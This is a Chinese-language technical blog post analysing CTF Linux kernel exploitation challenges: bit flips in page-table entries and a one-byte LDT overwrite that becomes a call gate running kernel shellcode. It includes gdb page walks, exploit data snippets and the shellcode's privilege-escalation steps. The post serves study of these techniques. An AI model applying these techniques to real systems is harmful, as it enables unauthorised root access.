CTF-style Tricks of Linux Kernel Exploitation - Part 1
- Part1: CTF-style Tricks of Linux Kernel Exploitation - Part 1
- Part2: CTF-style Tricks of Linux Kernel Exploitation - Part 2
在 CTF 中都會有許多有趣的 Linux kernel trick 題,像是提供任意 flip 一個 bit、任意寫一個 byte 或甚至任意控一次 RIP 就需要做到提權。雖然題目的解法大多在 real world 使用不上,但是背後的技巧卻是非常有趣且值得學習的。這篇文章會分析幾個這種類型的題目,紀錄解法以及相關知識,大多數的內容皆以他人解法為基礎來研究,內容如有錯誤再麻煩通知,謝謝!
1. Flip a Bit
1.1 OverTheWire Advent Bonanza 2018 - Snow Hammer
參考: https://www.tasteless.eu/post/2018/12/aotw-snow-hammer/
題目提供一個 flip bit 的 primitive,用變數 long flip_count
來紀錄執行次數,如果發現已經執行過一次就直接離開。執行環境如下:
- kaslr=off
- pti=off
因為變數 flip_count
的型別為 long
,因此可以先 flip flip_count
的 signed bit,就可以繞過次數檢查,也就代表我們可以 flip bit 很多次。
下一步作者想要 patch function __sys_setuid()
,讓原本呼叫 prepare_creds()
的地方變成 prepare_kernel_cred()
,這樣新分配出來的 struct cred
就會具有高權限。然而 ktext 很明顯的是 non-writable,所以我們需要先找到 __sys_setuid()
對應到的 Page Table Entry (PTE),並設置 R/W bit,這樣該 page 就會變成 writable,也就可以對其做 patch 了。
這邊假設 __sys_setuid()
的 virtual address 為 0xffffffff811dd0a0
,以及用作 Page Directory Base Register (PDBR) 的 CR3 register 的值為 0x5066000
。為了找到 PTE 的位址,首先,我們需要先拆解 0xffffffff811dd0a0
成 Page Table 每個 Level 的 index。下方圖示基於原 writeup 上做些許修改:
0b 1111111111111111 111111111 111111110 000001000 111011101 000010100000
\______ ______/ \___ __/ \___ __/ \___ __/ \___ __/ \____ ____/
\/ \/ \/ \/ \/ \/
length 16 bit 9 bit 9 bit 9 bit 9 bit 12 bit
idx into sign extension PML4 PML3 Page Table PTE offset
(PGD) (PUD) (PMD)
value 511 510 8 477 0xa0
Paging
關於 Paging 的細節可以參考 OSDev Paging,下方 page map 格式圖也是擷取自他們的網頁 (不過 intel manual 應該也是拿得到),這邊只會簡單說明一下。
Page map 分成很多層,每一層都有 512 個 entry,而每個 entry 的大小為 8 bytes,也就是一個 map 的大小是 0x1000。Register CR3 存的 0x5066000
是最上層 map 的 physical address,在沒有 KASLR 的情況下,我們可以透過 direct mapping 來存取,也就是 0x5066000 + 0xffff888000000000
。(參考官方文件)
# [...]
ffff888000000000 | -119.5 TB | ffffc87fffffffff | 64 TB | direct mapping of all physical memory (page_offset_base)
# [...]
以 PML4 的值為 index,我們能夠找到紀錄下一層 map 資訊的 map entry 0x3c46067
:
pwndbg> x/gx 0x5066000 + 0xffff888000000000 + 511 * 8
0xffff888005066ff8: 0x0000000003c46067
每層 map entry 的格式都不太一樣,都是由下一層 map 的 physical address 與一些屬性組成,細節可以參考下方圖示:
以 0x3c46067
為例:
- Address (0x3c46000) - 下一層 page map 的 physical address
- 0x67 (0110 0111)
- bit-0 - P (Present)
- bit-1 - R/W。如果 bit 被設上,代表 page 可讀可寫 (read/write),沒有的話就只能讀
- bit-2 - U/S。如果 bit 被設上,代表 page 可以被 user space 存取,沒有的話只有 kernel 可以存取
- bit-5 - A (Accessed)。用來判斷 entry 有沒有在 virtual address translation – 也就是 walk page map 時被存取到
- bit-6 - D (Dirty)。用來判斷是否 page 被更新過
- bit-64 - XD (Execute Disable)。如果 bit 被設上,代表 page 不能被執行
之後的幾層都可以如法炮製:
# [PUD]
pwndbg> x/gx 0x03c46000 + 0xffff888000000000 + 510 * 8
0xffff888003c46ff0: 0x0000000003c47063
# [PMD]
pwndbg> x/gx 0x03c47000 + 0xffff888000000000 + 8 * 8
0xffff888003c47040: 0x00000000010000a1
原本預期 PMD 下面應該還要有一層,但是如果以 Page Directory Pointer Table Entry (PDPTE) 的格式來解析 0xa1 (1010 0001),會是:
- bit-0 - P (Present)
- bit-5 - A (Accessed)
- bit-7 - PS (Page Size)。如果 bit 被設上,代表 page 的大小為 2MB
在 PTI 禁用的情況下,bit-8 (G, Global) 也會被設置。如果 bit 被設上,就代表此 PTE 能夠被所有 process 存取,因此在 context switch 時不會被 TLB flush 影響。
Bit PS 被設起時,PDPTE 就要以下方圖片中的 Page Directory Entry (PDE) 格式來看,表示這已經是最後一層的 map,也意味著 0xffff888003c47040
的值 0x10000a1
就是 __sys_setuid()
使用的 PDE/PTE。
在此情況下,原本 PTE 的 9 bits 也會被當作 offset,所以 map index 的劃分應該要是下方圖示:
0b 1111111111111111 111111111 111111110 000001000 111011101000010100000
\______ ______/ \___ __/ \___ __/ \___ __/ \___ ______________/
\/ \/ \/ \/ \/
length 16 bit 9 bit 9 bit 9 bit 21 bit
idx into sign extension PML4 PML3 Page Table offset
(PGD) (PUD) (PMD)
value 511 510 8 0x1dd0a0
一樣可以用 direct mapping 做驗證:
pwndbg> x/gx 0xffff888000000000 + 0x1000000 + 0x1dd0a0
0xffff8880011dd0a0: 0x8955410000441f0f
pwndbg> x/gx __sys_setuid
0xffffffff811dd0a0 <__sys_setuid>: 0x8955410000441f0f
Exploit
如果要讓 page 的內容可以被修改,就需要設置 bit-1 (R/W),所以我們需要 flip [0xffff888003c47040]
的第二個 bit。修改前的 page permissions 如下:
pwndbg> pt -has 0xffffffff811dd0a0
Address : Length Permissions
0xffffffff81000000 : 0x1800000 | W:0 X:1 S:1 UC:0 WB:1
修改後會發現原本的 “W:0” 變成 “W:1”,代表可以 ktext 可寫,也就能 patch __sys_setuid()
:
Address : Length Permissions
0xffffffff81000000 : 0x200000 | W:1 X:1 S:1 UC:0 WB:1
Fun Fact
實際上,Linux kernel 的 ktext 是由兩個變數來做 mapping:
(pud_t (*)[512]) level3_kernel_pgt
(pmd_t (*)[512]) level2_kernel_pgt
以這題為例,分別拿 PUD index (510) 跟 PMD index (8) 來查,都與直接用 direct mapping 來看的結果相同:
pwndbg> p level3_kernel_pgt[510]
$7 = {
pud = 63205475 # (0x3c47063)
}
pwndbg> p level2_kernel_pgt[8]
$8 = {
pmd = 16777377 # (0x10000a3)
}
也就是說在不知道 direct mapping 位址的情況下,仍可以直接改 level2_kernel_pgt[8]
修改 ktext 的 PTE。
Others
QEMU monitor 提供了許多操作 VM 的功能,像是 dump VM register 的值或是 memory dump 等等。因為 gdb 的 command info register
沒有辦法看到所有的 register,像是 LDT 或 GDT,因此在某些情況下配合 monitor 來 debug 會有不錯的效果。
啟用 monitor 就只需要在 QEMU 參數加上一行:
-monitor tcp::5555,server,nowait
用 telnet
連上去後,下 help
可以看到有哪些 command 可以用,不過我比較常用到的就只有 info registers
。
1.2 Midnightsun CTF 2021: Brohammer
參考: https://hxp.io/blog/82/Midnightsun-CTF-2021-Brohammer/
該題實實在在的只能 flip 一個 bit,沒有像上題一樣可以多次 flip,我們的目標是要讀到存在於 ramfs 的 /root/flag。執行環境如下:
- kaslr=off
- smap=off
- smep=off
- pti=off
作者的解法是把 direct mapping 的 PTE 設成 usermode 可以存取,也就是 flip PTE 的 U/S bit,這樣就能在 user space 遍歷整個 physical memory 並找出存在於記憶體內的 flag。
在 PTI 禁用的情況下,user page table 其實會有 kernel address 的 PTE,像是 kernel text 或是 direct mapping,只是因為 U/S bit 是 unset,所以在 user space 才沒有辦法存取。也就是說只要將 PTE 的 U/S bit 設起來,user space process 就能夠存取到 kernel address。假設 CR3 為 0x5068000
並且想從 user space 讀 direct mapping 0xffff88800009b000
,一樣需要先拆解出 index:
0b 1111111111111111 100010001 000000000 000000000 010011011 000000000000
\______ ______/ \___ __/ \___ __/ \___ __/ \___ __/ \____ ____/
\/ \/ \/ \/ \/ \/
length 16 bit 9 bit 9 bit 9 bit 9 bit 12 bit
idx into sign extension PML4 PML3 Page Table PTE offset
(PGD) (PUD) (PMD)
value 273 0 0 155 0
然後 walk page map,找到對應的 PTE:
# [PGD]
pwndbg> x/gx 0xffff888000000000 + 0x5068000 + 273 * 8
0xffff888005068888: 0x0000000004e01067
# [PUD]
pwndbg> x/gx 0xffff888000000000 + 0x4e01000 + 0 * 8
0xffff888004e01000: 0x0000000004e02067
# [PMD]
pwndbg> x/gx 0xffff888000000000 + 0x4e02000 + 0 * 8
0xffff888004e02000: 0x0000000004e03067
# [PTE]
pwndbg> x/gx 0xffff888000000000 + 0x4e03000 + 155 * 8
0xffff888004e034d8: 0x800000000009b163
- 0x163 (0001 0110 0011)
- bit-0 (P)
- bit-1 (R/W)
- bit-5 (A)
- bit-6 (D)
- bit-8 (G)
如果用下方的範例程式存取 0xffff88800009b000
,
#include <stdio.h>
#include <sys/syscall.h>
int main()
{
printf("[0xffff88800009b000]: %016lx\n", *(unsigned long *)0xffff88800009b000);
return 0;
}
會因為該 PTE 沒有 U/S bit 而觸發 segfault:
~ # /share/a
Segmentation fault
不過如果我們將 U/S bit (bit-3) 給設起,會發現權限從 “S:1” 變成 “S:0” 了。
pwndbg> set *(unsigned long *)0xffff888004e034d8 |= 4
pwndbg> pt -has 0xffff88800009b000
Address : Length Permissions
0xffff88800009b000 : 0x1000 | W:1 X:0 S:0 UC:0 WB:1
此時再重新執行一次範例程式,就會發現可以存取該記憶體位址,
~ # /share/a
[0xffff88800009b000]: 0000582000005020
透過 gdb 檢查,確定讀出來的資料相同。
pwndbg> x/gx 0xffff88800009b000
0xffff88800009b000: 0x0000582000005020
後續就可以爆搜整個 direct mapping 來讀 flag。
另一篇 writeup - MidnightsunQuals 2021 BroHammer Writeup 的解法也是類似的概念,不過作者 Will 是直接 flip ktext direct mapping 的 PTE 的 R/W bit,在 ktext 變成 writable 後就可以直接 patch syscall 成 commit_creds(&init_cred)
,最後呼叫 syscall 成功提權。
Others
基於此概念,我嘗試從 level2_kernel_pgt[]
對 ktext 的 PTE 做一模一樣的事情,預期讓 user space process 可以存取並修改到 ktext。然而經過測試發現,改 R/W bit 沒有任何問題,但是只要一 set U/S bit 就會不斷觸發 page fault,導致 kernel 無法處理而 hang 住,不確定是什麼原因造成。
2. Write a Byte
2.1 hxp CTF 2022: one_byte writeup
https://hxp.io/blog/99/hxp-CTF-2022-one_byte-writeup/
這次題目變成任意寫一個 byte,並且目標位址可以是 read-only,不過題目啟用了 KASLR 以及 PTI,也就意味著可以操作的空間變得很侷限。在不透過 side channel、0-day 以及 1-day bypass KASLR 的情況下,我們只能從 Documentation 與 gdb 得知哪些位於 kernel 的 address 是 fixed mapping,不會受到 KASLR 影響的只有兩個,分別為 cpu_entry_area (CEA) 以及 LDT remap:
ffff880000000000 | -120 TB | ffff887fffffffff | 0.5 TB | LDT remap for PTI
# [...]
fffffe0000000000 | -2 TB | fffffe7fffffffff | 0.5 TB | cpu_entry_area mapping
題目使用的 kernel 版本為 “Linux (none) 5.10.0-21-amd64”,在當時 CEA 還沒有被隨機化,不過在近期的版本 (Linux 6.2) 已經會在 kernel 初始化時隨機 CEA 的初始位址。
不過 LDT 在還沒初始化之前是不會被 map 的,所以預設應該只會有 cpu_entry_area 的 mapping 而已。
作者透過寫 1 byte 的 prititive 改變 LDT entry 的 type,造成 data segment descriptor 與 system segment descriptor 的 type confusion,最後將 call gate handler 的 entry point 指向 kernel shellcode,patch current process 的 struct cred
做到提權。
LDT
Descriptor Table (DT) 用來將記憶體做分段 (segmentation) 與存取權限的控管,又可以根據影響單一 process 還是所有 process 分成 L (Local) DT 以及 G (Global) DT。
User space process 沒有辦法調整 GDT,但可以透過 syscall modify_ldt
建立 LDT 並新增自己的 descriptor。Syscall handler 會呼叫 write_ldt()
來 install 一個 IDT entry,該 function 先把 user provided data 轉成 LDT entry 的格式 [1],之後新增到的 LDT [2],最後更新到 LDT register [3]。
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
// [...]
fill_ldt(&ldt, &ldt_info); // [1]
// [...]
new_ldt->entries[ldt_info.entry_number] = ldt; // [2]
// [...]
error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0); // [3]
}
Process 傳入的會是 struct user_desc
object pointer,大小為 16 bytes:
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
unsigned int lm:1;
};
最後存入 LDT 則會用 struct desc_struct
object,大小為 8 bytes:
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));
- limit0 - segment limit 15:00,segment 最多可以存取到的 offset
- base0 - segment base address 15:00
- base1 - segment base address 23:16
- type - segment type
- s - descriptor type。0 為 system、1 為 code or data
- dpl - descriptor privilege level
- p - segment present。Segment 是否存在於 memory
- limit1 - segment limit 19:16
- avl - available。由 system software 自定義
- l - 如果 L 為 1,代表是一個 64-bit segment
- d - 根據 type 有不同功能。當 type 為 stack segment,1 代表 register 為 32-bit,0 則是 16-bit
- g - segment limit guanularity。0 為 byte、1 為 4KB
- base2 - segment base address 31:24
註冊成功後,LDT 會 mapping 在 0xffff880000000000
。以 writeup 的 exploit code 為例,在下方 user_desc
註冊後,
var user_desc
.int TARGET_ENTRY // entry_number, 12
.int __KERNEL_CS // base_addr
.int 0x01000 // limit
.int 0b00000001 // flags
endvar user_desc
LDT 的第 12 個 entry 就會被新增上去:
pwndbg> x/gx 0xffff880000000000 + 12 * 8
0xffff880000000060: 0x0040f30000101000
Entry value 0x0040f30000101000
以 struct desc_struct
為格式的輸出結果如下:
limit: 1000
base: 10
type: 3
s: 1
dpl: 3
p: 1
avl: 0
l: 0
d: 1
g: 0
這些 descriptor entry 可以透過 instruction 的方式使用,像是 far call/jump,但其實 process 執行過程中一直都在使用!
Segmentation
許多觀念與圖片都是參考文章 Segmentation in Intel x64(IA-32e) architecture - explained using Linux,建議讀者可以先閱讀。
Process 或是 kernel 所使用的 address 實際上都是 “logical address”,在經過 segment selector 的轉換後會變成 “linear address”,最後 walk page map 來拿到 “physical address”。
而 “Logical address” 到 “linear address” 的轉換則是由 segment registers 來負責。Intel x64 主要有六個 segment register,分別如下:
- CS (Code Segment)
- SS (Stack Segment)
- DS (Data Segment)
- ES/FS/GS
與程式執行相關的記憶體存取會使用 CS,也就是說 register RIP 的值實際上應該是 CS:RIP
;與 stack 相關則是用 SS,也代表 RSP、RBP 的存取應該要是 SS:RSP
與 SS:RBP
;其他的記憶體存取如 mov instruction,就會使用 DS,像是 DS:RDI
;剩下的 segments register ES/FS/GS 則沒有明確的用途。
Segment register 會紀錄兩個部分的資料,分別為 visible part 以及 hidden part,前者就直接是 register 的內容,而後者則需要透過 VM monitor 才能觀察。
Visible part 會 maintain 16 bits 的 segment selector,格式可以參考 osdev - Local_Descriptor_Table:
Selector
+=============+=+==+
| Index |T|PL|
+=============+=+==+
13 1 2 (bits)
- Index - 第幾個 table entry
- T (Type) - 使用哪一個 DT,0 為 GDT、1 為 LDT
- PL - Requested Privilege Level (RPL),也就是存取 memory 時的 PL
預設 user space process 的 CS 會是 0x33,SS 會是 0x2b,其他都是 0。
- CS - 0x33 (110 0 11),使用 PL=3 存取 GDT 的第 6 個 entry
- SS - 0x2b (101 0 11),使用 PL=3 存取 GDT 的第 5 個 entry
而 kernel mode 的 CS 會是 0x10、SS 是 0x18,其他一樣是 0。
- CS - 0x10 (10 0 00),使用 PL=0 存取 GDT 的第 2 個 entry
- SS - 0x18 (11 0 00),使用 PL=0 存取 GDT 的第 3 個 entry
CS 與 SS 的 segment select 的 PL 又稱作 Current Privilege Level (CPL),代表當前 process 的執行權限。關於 DPL、CPL 以及 RPL 的差異,大致上可以想成:
- DPL - 資料的權限
- RPL - 請求的權限
- CPL - 當前的權限
如果在存取資料時,先滿足條件 max(RPL, CPL) <= DPL
才會進到 paging 的處理,最後會檢查 PTE U/S bit 以及 CPL value。
假設 GDT 的位址為 0xfffffe0000001000
,透過 gdb 可以觀察 entry value:
# [USER_CS]
pwndbg> x/gx 0xfffffe0000001000 + 6 * 8
0xfffffe0000001030: 0x00affb000000ffff
# [USER_SS]
pwndbg> x/gx 0xfffffe0000001000 + 5 * 8
0xfffffe0000001028: 0x00cff3000000ffff
-
USER_CS (entry 6)
limit: fffff base: 0 type: b s: 1 dpl: 3 p: 1 avl: 0 l: 1 d: 0 g: 1
-
USER_SS (entry 5)
limit: fffff base: 0 type: 3 s: 1 dpl: 3 p: 1 avl: 0 l: 0 d: 1 g: 1
- 因為是 stack,所以 d = 1,並且 manual 有提到 d = 1 的情況下 l 需要是 0
Hidden part 則是 cache 起來的 descriptor 資訊,像是 limit、base address 等等。下方為 QEMU monitor 的輸出結果:
# [...]
CS =0033 0000000000000000 ffffffff 00a0fb00 DPL=3 CS64 [-RA]
SS =002b 0000000000000000 ffffffff 00c0f300 DPL=3 DS [-WA]
# [...]
但,根據 Intel 手冊 “3.2.4 Segmentation in IA-32e Mode” 上的敘述,在 64-bit mode 底下不會使用 segmentation:
[…] In 64-bit mode, segmentation is generally (but not completely) disabled, creating a flat 64-bit linear-address space. The processor treats the segment base of CS, DS, ES, SS as zero, creating a linear address that is equal to the effective address. […] Note that the processor does not perform segment limit checks at runtime in 64-bit mode.
因此在存取記憶體時,descriptor entry 的 limit 跟 base 會被 ignore,可以視為 base 為 0,limit 為整個 virtual memory;其他屬性也不一定會被使用,具體可以透過 gdb 調整觀察行為是否相同。不過用來檢查權限的 DPL 仍會使用,也就是說 CS 與 SS 的 PL 仍會與 GDT 中 USER_CS 與 USER_SS 的 DPL 做比較。
由於不再使用 segmentation,部分 segment register 被拿來做其他事情,最常見的是 FS 跟 GS。在 user space 中,register FS 被 glibc 用來放 TLS address,透過 instruction 如 fs:[0x28]
就能夠直接存取 TLS 相對偏移的值。下方為 glibc 在初始化 TLS 時,呼叫 pctrl(ARCH_SET_FS)
設置 FS 為 TLS base address 的程式碼片段:
// elf/rtld.c
static void *
init_tls (size_t naudit)
{
// [...]
const char *lossage = TLS_INIT_TP (tcbp);
// [...]
}
// sysdeps/x86_64/nptl/tls.h
# define TLS_INIT_TP(thrdescr) \
\ // [...]
asm volatile ("syscall" \
: "=a" (_result) \
: "0" ((unsigned long int) __NR_arch_prctl), \
"D" ((unsigned long int) ARCH_SET_FS), \
"S" (_thrdescr) \
: "memory", "cc", "r11", "cx"); \
\ // [...]
})
有趣的是使用 ARCH_SET_FS
或 ARCH_SET_GS
更新 FS 或 GS 時,不是直接更新 register 本身,而是更新到 FS_BASE 與 GS_BASE MSRs。下方以 ARCH_SET_FS
為例:
// arch/x86/kernel/process_64.c
long do_arch_prctl_64(struct task_struct *task, int option, unsigned long arg2)
{
// [...]
case ARCH_SET_FS: {
x86_fsbase_write_cpu(arg2);
}
// [...]
}
// arch/x86/include/asm/fsgsbase.h
static inline void x86_fsbase_write_cpu(unsigned long fsbase)
{
if (boot_cpu_has(X86_FEATURE_FSGSBASE))
wrfsbase(fsbase);
else
wrmsrl(MSR_FS_BASE, fsbase);
}
而 kernel space 則是會用 GS 來存取 PERCPU object,這也就是為什麼每次從 user space 進到 kernel space 時需要先執行 instruction swapgs
(Swap GS Base Register) ,交換當前 GS_BASE 與 IA32_KERNEL_GS_BASE MSRs 的值:
# [...]
tmp := GS.base;
GS.base := IA32_KERNEL_GS_BASE;
IA32_KERNEL_GS_BASE := tmp;
否則 kernel 就會以 user space 可控的位址作為 GS_BASE,來存取 PERCPU data。
Exploit
LDT 根據 descriptor type 的值分成 code/data segment (1) 以及 system segment (0),先前提到的 LDT entry 皆是屬於 code/data segment。而當 descriptor type 是 system segment 時,entry 就不會是以 struct desc_struct
來註冊,而是取決於 segment type。
- Data Segment (descriptor type 1)
- 0x0: Read-Only
- 0x1: Read-Only, accessed
- 0x2: Read/Write
- 0x3: Read/Write, accessed
- 0x4: Read-Only, expand-down
- 0x5: Read-Only, expand-down, accessed
- 0x6: Read/Write, expand-down
- 0x7: Read/Write, expand-down, accessed
- Code Segment (descriptor type 1)
- 0x8: Execute-Only
- 0x9: Execute-Only, accessed
- 0xA: Execute/Read
- 0xB: Execute/Read, accessed
- 0xC: Execute-Only, conforming
- 0xD: Execute-Only, conforming, accessed
- 0xE: Execute/Read, conforming
- 0xF: Execute/Read, conforming, accessed
- System Segment (descriptor type 0)
- 0x0: Reserved
- 0x1: 16-bit TSS (Available)
- 0x2: LDT
- 0x3: 16-bit TSS (Busy)
- 0x4: 16-bit Call Gate
- 0x5: Task Gate
- 0x6: 16-bit Interrupt Gate
- 0x7: 16-bit Trap Gate
- 0x9: 32-bit TSS (Available)
- 0xB: 32-bit TSS (Busy)
- 0xC: 32-bit Call Gate
- 0xE: 32-bit Interrupt Gate
- 0xF: 32-bit Trap Gate
也就是說,如果我們先註冊了一個 LDT entry,type 為 code/data segment,之後用 one byte write primitive 將 descriptor type 改成 system segment、segment type 改成 call gate,這樣就會以 call gate format 來使用 struct desc_struct
的內容,造成 type confusion。
Writeup 的 exploit 將寫入的位置與資料定義於變數 module_message
,位置為 target LDT entry 位址 + offset 5,值則是 0xec。
var module_message
.quad LDT_BASE_ADDR + LDT_STRIDE + (TARGET_ENTRY * 8) + 5
.byte 0b11101100 ; 0xec
endvar module_message
而在 overwrite 後,原本 0x0040f30000101000
會被修改成 0x0040ec0000101000
,只差在把 descriptor type patch 成 1,以及 segment type 寫成 0xc,也就是 call gate。Linux kernel source code 中也有定義 call gate 的 type value。
// arch/x86/include/asm/segment.h
enum {
// [...]
GATE_CALL = 0xC,
// [...]
};
不過除了 type value 外,kernel 內沒有註冊或使用 call gate 的地方。參考 Intel manual “5.8.3.1 IA-32e Mode Call Gates”,64-bit mode 的 call gate descriptor 結構大概會像:
struct call_gate_descriptor {
uint16_t offset_low;
uint16_t selector;
uint8_t reserved_0;
uint8_t type : 5;
uint8_t dpl : 2;
uint8_t present : 1;
uint16_t offset_mid;
uint32_t offset_high;
uint32_t reserved_1;
} __attribute__((packed));
將 overwrited LDT entry value 0x0040ec0000101000
對應到 struct call_gate_descriptor
各個成員:
uint16_t offset_low; // 0x1000
uint16_t selector; // 0x0010
uint8_t reserved_0; // 0x00
uint8_t type : 5; // 0xc
uint8_t dpl : 2; // 0x3
uint8_t present : 1; // 0x1
uint16_t offset_mid; // 0x40
uint32_t offset_high; // 0x0
uint32_t reserved_1; // 0
- offset - call gate handle function 的 offset。位置 0x401000 存放的是 kernel shellcode
- selector - 呼叫 call gate 時的 CS selector。0x10 對應到
KERNEL_CS
- dpl - 呼叫 call gate 所需的權限。3 代表 user space,也就是一般 process 也能呼叫
最後一步是透過 Far Call 來呼叫 target LDT entry,可以參考 stack overflow 文章使用 intel syntax 的寫法:
mov rax, absolute_address ; where seg:off are stored
call far [rax]
或者是參考 writeup 的 AT&T syntax:
#define TARGET_SELECTOR ((TARGET_ENTRY << 3) | LDT_SELECTOR | RPL_USER)
far_ptr gate_target, TARGET_SELECTOR, 0xdead8664
lcall *(gate_target)
其中 seg:off
的 offset 會被 call gate ignore,所以可以隨便給 (0xdead8664)。重點是前面的 segment selector 需要設置:
- RPL_USER (3) - 以 user space 的操作權限發出請求
- LDT_SELECTOR (0) - 使用 LDT 而非 GDT
- TARGET_ENTRY (12) - 選擇用被我們 overwrite 的 entry
透過 Far Call 執行 call gate 會有一些需要注意的地方,像是 struct call_gate_descriptor
的 selector 所對應到的 segment 需要 L bit = 1 等等,其他細節可以參考 call instruction 的 section “Near/(Far) Calls in 64-bit Mode.”。
最後,因為 target entry 已經被 overwrite 成 call gate,所以在檢查 PL 後會直接以高權限執行 call gate handler,也就是位於 0x401000 的 kernel shellcode。
Kernel Shellcode
Writeup 的 kernel space shellcode 有許多值得注意的細節與技巧,在此以條列的方式紀錄:
- cli (Clear Interrupt Flag) - 清除 EFLAGS 內的 IF,讓 processor 可以忽略掉 maskable interrupt,避免外部 interrupt 打進來
rdmsr(MSR_LSTAR)
(value: 0xc0000082) - 會拿到entry_SYSCALL_64
,藉此 bypass KASLR- unset cr0 WP (Write Protect) bit - 讓 CPL = 0 時可以對 RO data 做寫入,這樣就能把 shellcode copy 到沒有在使用的 ktext
- update cr3 - 因為 PTI 的關係,需要切換到 kernel page table 才能存取 kernel memory
- PERCPU data 裡面有放 current (
struct task_struct *
) address - 複製
&init_cred
到 current 的real_cred
以及cred
- 回到 user space 前更新 cr3 以及把 IF 設回去
在 user space 可以透過下面的方式來 set EFLAGS 的 AC flag:
pushfq
or qword ptr [rsp], 0x40000
popfq
不過一般來說,執行 syscall 時 EFLAGS 會被 MSR_SYSCALL_MASK MSR mask,哪些 flag 會被 unset 可以看 kernel init function syscall_init()
,其中就包含了 AC flag (X86_EFLAGS_AC
)。
void syscall_init(void)
{
// [...]
wrmsrl(MSR_SYSCALL_MASK,
X86_EFLAGS_CF|X86_EFLAGS_PF|X86_EFLAGS_AF|
X86_EFLAGS_ZF|X86_EFLAGS_SF|X86_EFLAGS_TF|
X86_EFLAGS_IF|X86_EFLAGS_DF|X86_EFLAGS_OF|
X86_EFLAGS_IOPL|X86_EFLAGS_NT|X86_EFLAGS_RF|
X86_EFLAGS_AC|X86_EFLAGS_ID);
}
因此實務上應該比較少情境能用到這個技巧。
Others
Syscall 相關的 MSR 除了能夠 bypass KASLR 之外,在 WarCon 2024 - Linux privesc via arbitrary x86 MSRs read/write bug: case study from a CTF challenge 中,作者 disconnect3d 也示範了透過讀寫 MSR 來提權。
MSR_LSTAR 除了能夠 bypass KASLR 之外,也能控制呼叫 syscall 時的 kernel RIP。透過 clear MSR_SYSCALL_MASK 的 X86_EFLAGS_AC,進到 kernel space 不會 unset AC flag,讓 kernel 可以存取 user space 的 data。搭配上述兩個與 syscall 相關的 MSRs,我們可以把 syscall entry 設成 stack pivoting gadget,並在 SMAP disabled 的情況下存取 user space memory 做 ROP。